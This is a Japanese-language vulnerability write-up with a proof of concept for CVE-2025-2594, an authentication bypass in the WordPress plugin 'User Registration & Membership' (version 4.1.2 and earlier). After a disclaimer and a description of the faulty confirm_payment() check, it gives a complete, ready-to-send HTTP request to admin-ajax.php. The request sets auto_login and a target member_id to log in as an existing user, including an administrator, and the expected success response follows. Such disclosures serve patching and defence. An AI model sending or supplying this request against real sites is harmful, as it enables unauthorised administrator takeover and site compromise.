CVE-2025-2594

User Registration & Membership <= 4.1.2 - 認証バイパス

免責事項！

このCVE（Common Vulnerabilities and Exposures）レポートで提供される情報は、教育および情報提供のみを目的としています。記載されている詳細は、公開されているリソース、調査、および著者による分析に基づいています。本コンテンツは、ハッキング、悪用、またはシステムへの不正アクセスを含む、いかなる違法行為を促進または奨励することを意図したものではありません。

著者は、提示された情報の誤用についていかなる責任も負いません。個人および組織は、この知識を適用可能な法律および規制に準拠して責任を持って適用することをお勧めします。読者は、適切な許可を得た管理された環境でのみ脆弱性をテストすることを強く推奨します。

本レポートの著者および貢献者は、悪意のある活動を推奨または支持せず、責任ある開示と倫理的なハッキング慣行を奨励します。

---

説明

「User Registration & Membership」WordPressプラグイン（メンバーシップサイトや登録フォームを作成するための人気ツール）に、重大なセキュリティ脆弱性が発見されました。CVE-2025-2594として識別されるこの欠陥は、CVSSスコア8.1であり、その深刻度の高さを示しています。

WordPress用User Registration & Membershipプラグインは、バージョン4.1.2以前において認証バイパスの脆弱性の影響を受けます。これは、'confirm_payment()'関数の認証処理が不正確であることに起因します。これにより、認証されていない攻撃者が、サイト上の既存ユーザー（管理者であっても）としてログインすることが可能になります。ただし、以下の条件があります：

1. プラグインでメンバーシップアドオンが有効化されていること

---

PoC（概念実証）

1. 登録ページで_confirm_payment_nonceを取得する
2. サンプルリクエストデータ
   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   User-Agent: PostmanRuntime/7.43.3
   Accept: */*
   Postman-Token: b41b34c8-c1c9-4e3a-aa4f-380706626e7a
   Host: hackthebox.test
   Accept-Encoding: gzip, deflate, br
   Connection: keep-alive
   Content-Type: multipart/form-data; boundary=--------------------------705549092016875046023302
   Content-Length: 565
   
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="action"
   
   user_registration_membership_confirm_payment
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="security"
   
   CONFIRM_PAYMENT_NONCE
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="form_response"
   
   { "auto_login": true }
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="member_id"
   
   1
   ----------------------------705549092016875046023302--
   

3. レスポンスは次のようになる必要があります
   root@kitploit:~

   {"success":true,"data":{"message":null}}
   

4. サンプルレスポンス

---

参考

1. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-412-authentication-bypass
2. https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.1/modules/membership/includes/AJAX.php#L566
3. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/AJAX.php
4. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/Admin/Services/MembersService.php

---

謝辞

• https://saweria.co/ubaii
• https://buymeacoffee.com/ubaii
• https://trakteer.id/ubaii